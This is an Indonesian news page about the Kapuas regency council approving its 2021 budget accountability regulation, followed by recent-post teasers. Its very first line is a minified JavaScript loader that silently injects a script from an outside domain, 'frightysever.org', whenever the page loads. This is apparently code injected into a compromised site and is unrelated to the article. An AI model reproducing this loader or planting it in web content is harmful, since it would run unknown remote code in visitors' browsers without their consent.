(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Kapuas

DPRD Kapuas Rapat Persetujuan Raperda Pertanggungjawaban Pelaksanaan APBD 2021


KANALKALIMANTAN.COM, KUALA KAPUAS – Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas, Kalimantan Tengah, menggelar rapat paripurna ke 4 masa persidangan III pada Rabu (27/7/2022).

Rapat tersebut dipimpin Wakil Ketua I DPRD Kapuas Yohanes ST diikuti sejumlah anggota dewan, dan dihadiri Plt Sekwan DPRD Kapuas Drs Yunabut.

Sedangkan dari pihak eksekutif dihadiri Wakil Bupati Kapuas Drs HM Nafiah Ibnor MM perwakilan unsur Forkopimda, Sekda Drs Septedy, dan sejumlah kepala SOPD lingkup Pemkab Kapuas.

Wakil Ketua I DPRD Kapuas Yohanes, ST menyampaikan agenda paripurna kali ini adalah penyampaian laporan hasil kerja Pansus terhadap Raperda tentang pertanggungjawaban pelaksanaan APBD tahun anggaran 2021.

 

Baca juga  : Satgas TMMD ke-114 Kodim 1022 Menginap di Rumah-rumah Warga

Dilanjutkan penyampaian pendapat akhir fraksi-fraksi terhadap Raperda tentang pertanggungjawaban pelaksanaan APBD 2021.

Lanjut pengesahan dan penandatanganan persetuiuan Raperda Kapuas tentang pertanggunjawaban pelaksanaan APBD tahun 2021 antara DPRD dan Pemkab Kapuas.

Plt Sekwan Yunabut menyebut kehadiran anggota DPRD Kapuas sesuai tanda tangan absensi hadir sebanyak 28 orang. “Sesuai dengan ketentuan kuorum tercapai,” kata Yohanes.

Seusai memimpin rapat, Yohanes mengatakan paripurna Raperda tentang pertanggung jawaban APBD 2021 ini sesuai jadwal kemarin yang sempat diskor.

 

Baca juga  : Injakkan Kaki di Amuntai, Tangis Haru Keluarga Sambut Jemaah Haji HSU

Dalam paripurna ini telah disepakati, dengan dilakukannya pengesahan dan penandatanganan persetujuan Raperda tentang pertanggungjawaban pelaksanaan APBD tahun 2021 antara DPRD dan Pemkab Kapuas.

“Kita sepakat mengambil keputusan dari fraksi fraksi. Keputusan DPRD ini adalah keputusan suara terbanyak dan sudah memenuhi aturan aturan yang berlaku,” ucapnya.

Berkaitan dengan Pansus 21 DPRD Kapuas bahwa Pansus sudah mengembalikan mandat ke pimpinan. Dan pimpinan mengembalikan mandat ke fraksi masing masing.

“Hasilnya ada dimasukkan ke dalam fraksi dan sebagian sudah dibacakan dalam pendapat fraksi fraksi tadi,” jelasnya. (Kanalkalimantan.com/ags)

Reporter : ags
Editor : kk


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.